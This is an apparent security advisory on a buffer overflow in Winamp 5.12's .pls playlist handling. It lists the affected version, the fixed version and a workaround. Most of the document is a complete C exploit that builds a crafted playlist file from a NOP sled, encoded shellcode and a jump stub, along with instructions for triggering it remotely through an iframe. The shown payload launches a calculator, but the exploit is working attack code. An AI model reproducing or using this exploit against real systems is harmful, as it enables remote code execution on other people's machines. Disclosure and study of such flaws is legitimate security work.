[NT] Winamp playlist Buffer Overflow

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  Winamp playlist Buffer Overflow
------------------------------------------------------------------------


SUMMARY

A buffer overflow within Winamp .pls playlist file allows attackers to 
cause the program to execute arbitrary code.

DETAILS

Vulnerable Systems:
 * Winamp version 5.12

Immune Systems:
 * Winamp version 5.13

The Winamp way of handling the .pls playlist files allow attackers to 
craft the  file  tag. The  file  tag can be used to execute remote 
arbitrary code, by causing a web site for example to prompt Winamp to open 
the crafted .pls file.

Workaround:
Remove pls file associate with Winamp.

Exploit:
/*
*
* Winamp 5.12 Remote Buffer Overflow Universal Exploit (Zero-Day)
* Bug discovered & exploit coded by ATmaCA
* Web: http://www.spyinstructors.com && http://www.atmacasoft.com
* E-Mail: atmaca at icqmail.com
* Credit to Kozan
*
*/

/*
*
* Tested with :
* Winamp 5.12 on Win XP Pro Sp2
*
*/

/*
* Usage:
*
* Execute exploit, it will create "crafted.pls" in current directory.
* Duble click the file, or single click right and then select "open".
* And Winamp will launch a Calculator (calc.exe)
*
*/

/*
*
* For to use it remotly,
* make a html page containing an iframe linking to the .pls file.
*
* http://www.spyinstructors.com/atmaca/research/winamp_ie_poc.htm
*
*/

#include <windows.h>
#include <stdio.h>

#define BUF_LEN 0x045D
#define PLAYLIST_FILE "crafted.pls"

char szPlayListHeader1[] = "[playlist]\r\nFile1=\\\\";
char szPlayListHeader2[] = 
"\r\nTitle1=~BOF~\r\nLength1=FFF\r\nNumberOfEntries=1\r\nVersion=2\r\n";

// Jump to shellcode
char jumpcode[] = "\x61\xD9\x02\x02\x83\xEC\x34\x83\xEC\x70\xFF\xE4";

// Harmless Calc.exe
char shellcode[] =
"\x54\x50\x53\x50\x29\xc9\x83\xe9\xde\xe8\xff\xff\xff\xff\xc0\x5e\x81\x76\x0e\x02"
"\xdd\x0e\x4d\x83\xee\xfc\xe2\xf4\xfe\x35\x4a\x4d\x02\xdd\x85\x08\x3e\x56\x72\x48"
"\x7a\xdc\xe1\xc6\x4d\xc5\x85\x12\x22\xdc\xe5\x04\x89\xe9\x85\x4c\xec\xec\xce\xd4"
"\xae\x59\xce\x39\x05\x1c\xc4\x40\x03\x1f\xe5\xb9\x39\x89\x2a\x49\x77\x38\x85\x12"
"\x26\xdc\xe5\x2b\x89\xd1\x45\xc6\x5d\xc1\x0f\xa6\x89\xc1\x85\x4c\xe9\x54\x52\x69"
"\x06\x1e\x3f\x8d\x66\x56\x4e\x7d\x87\x1d\x76\x41\x89\x9d\x02\xc6\x72\xc1\xa3\xc6"
"\x6a\xd5\xe5\x44\x89\x5d\xbe\x4d\x02\xdd\x85\x25\x3e\x82\x3f\xbb\x62\x8b\x87\xb5"
"\x81\x1d\x75\x1d\x6a\xa3\xd6\xaf\x71\xb5\x96\xb3\x88\xd3\x59\xb2\xe5\xbe\x6f\x21"
"\x61\xdd\x0e\x4d";


int main(int argc,char *argv[])
{
printf("\nWinamp 5.12 Remote Buffer Overflow Universal Exploit");
printf("\nBug discovered & exploit coded by ATmaCA");
printf("\nWeb: http://www.spyinstructors.com && 
http://www.atmacasoft.com";);
printf("\nE-Mail: atmaca at icqmail.com");
printf("\nCredit to Kozan");

FILE *File;
char *pszBuffer;

if ( (File = fopen(PLAYLIST_FILE,"w+b")) == NULL ) {
printf("\n [Err:] fopen()");
exit(1);
}

pszBuffer = (char*)malloc(BUF_LEN);
memset(pszBuffer,0x90,BUF_LEN);
memcpy(pszBuffer,szPlayListHeader1,sizeof(szPlayListHeader1)-1);
memcpy(pszBuffer+0x036C,shellcode,sizeof(shellcode)-1);
memcpy(pszBuffer+0x0412,jumpcode,sizeof(jumpcode)-1);
memcpy(pszBuffer+0x0422,szPlayListHeader2,sizeof(szPlayListHeader2)-1);

fwrite(pszBuffer, BUF_LEN, 1,File);
fclose(File);

printf("\n\n" PLAYLIST_FILE " has been created in the current 
directory.\n");
return 1;
}

/* Eof */


ADDITIONAL INFORMATION

The information has been provided by  <mailto:processtree@xxxxxxxxxxxxxx> 
Process.
The original article can be found at:  
<http://www.heise.de/newsticker/meldung/68981> 
http://www.heise.de/newsticker/meldung/68981,
 <http://www.frsirt.com/english/advisories/2006/0361> 
http://www.frsirt.com/english/advisories/2006/0361,
 <http://blogs.securiteam.com/index.php/archives/259> 
http://blogs.securiteam.com/index.php/archives/259
The original exploit can be found at:  
<http://www.spyinstructors.com/show.php?name=Advisories&pa=showpage&pid=71> http://www.spyinstructors.com/show.php?name=Advisories&pa=showpage&pid=71



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